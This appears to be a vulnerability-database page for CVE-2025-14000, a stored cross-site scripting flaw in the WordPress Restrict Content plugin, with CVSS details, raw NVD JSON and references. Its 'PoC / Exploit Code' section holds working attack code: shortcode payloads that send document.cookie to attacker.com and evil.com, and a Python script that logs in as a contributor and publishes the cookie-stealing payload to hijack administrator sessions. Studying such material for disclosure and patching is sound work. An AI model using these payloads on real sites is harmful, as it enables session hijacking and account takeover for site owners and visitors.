Security Vulnerability Report
δΈ­ζ–‡
CVE-2025-14000 CVSS 6.4 MEDIUM

CVE-2025-14000

Published: 2025-12-23 12:15:45
Last Modified: 2026-04-15 00:35:42

Description

The Membership Plugin – Restrict Content plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the plugin's 'register_form' and 'restrict' shortcodes in all versions up to, and including, 3.2.15 due to insufficient input sanitization and output escaping on user supplied attributes. This makes it possible for authenticated attackers, with contributor-level access and above, to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page.

CVSS Details

CVSS Score
6.4
Severity
MEDIUM
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:L/A:N

Configurations (Affected Products)

No configuration data available.

Restrict Content Plugin <= 3.2.15 (all versions up to and including 3.2.15)

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
# CVE-2025-14000 PoC - Stored XSS in Restrict Content Plugin # Affected versions: <= 3.2.15 # Method 1: Using 'restrict' shortcode with malicious attribute # Login as contributor or higher privilege user and insert this shortcode: [restrict roles='admin"><img src=x onerror=alert(document.cookie)>'] # Method 2: Using 'register_form' shortcode # Insert this shortcode in a post/page: [register_form role='subscriber"><script>fetch("https://attacker.com/steal?c="+document.cookie)</script>'] # Method 3: Exploit payload for session hijacking import requests target_url = "https://target-wordpress-site.com/" login_url = target_url + "wp-login.php" post_url = target_url + "wp-json/wp/v2/posts" session = requests.Session() # Login with contributor account login_data = { "log": "attacker_username", "pwd": "attacker_password", "wp-submit": "Log In" } session.post(login_url, data=login_data) # Create post with malicious shortcode xss_payload = '[restrict roles="admin\"><script>document.location=\'https://evil.com/steal?cookie=\'+document.cookie<\/script>"]' post_data = { "title": "Malicious Content", "content": xss_payload, "status": "publish" } response = session.post(post_url, json=post_data) print(f"XSS payload injected. Post ID: {response.json().get('id')}") print("When admin views this post, the XSS will execute.")

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-14000", "sourceIdentifier": "[email protected]", "published": "2025-12-23T12:15:44.727", "lastModified": "2026-04-15T00:35:42.020", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "The Membership Plugin – Restrict Content plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the plugin's 'register_form' and 'restrict' shortcodes in all versions up to, and including, 3.2.15 due to insufficient input sanitization and output escaping on user supplied attributes. This makes it possible for authenticated attackers, with contributor-level access and above, to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:L/A:N", "baseScore": 6.4, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "CHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 3.1, "impactScore": 2.7}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-79"}]}], "references": [{"url": "https://plugins.trac.wordpress.org/browser/restrict-content/tags/3.2.15/core/includes/member-forms.php#L126", "source": "[email protected]"}, {"url": "https://plugins.trac.wordpress.org/browser/restrict-content/tags/3.2.15/core/includes/shortcodes.php#L135", "source": "[email protected]"}, {"url": "https://plugins.trac.wordpress.org/browser/restrict-content/tags/3.2.15/core/includes/shortcodes.php#L26", "source": "[email protected]"}, {"url": "https://plugins.trac.wordpress.org/changeset/3420370/restrict-content/trunk/core/includes/member-forms.php?old=2642097&old_path=restrict-content%2Ftrunk%2Fcore%2Fincludes%2Fmember-forms.php", "source": "[email protected]"}, {"url": "https://plugins.trac.wordpress.org/changeset/3420370/restrict-content/trunk/core/includes/shortcodes.php?old=2850120&old_path=restrict-content%2Ftrunk%2Fcore%2Fincludes%2Fshortcodes.php", "source": "[email protected]"}, {"url": "https://www.wordfence.com/threat-intel/vulnerabilities/id/0b6a84d7-9e77-4a2f-b065-872e8650e75e?source=cve", "source": "[email protected]"}]}}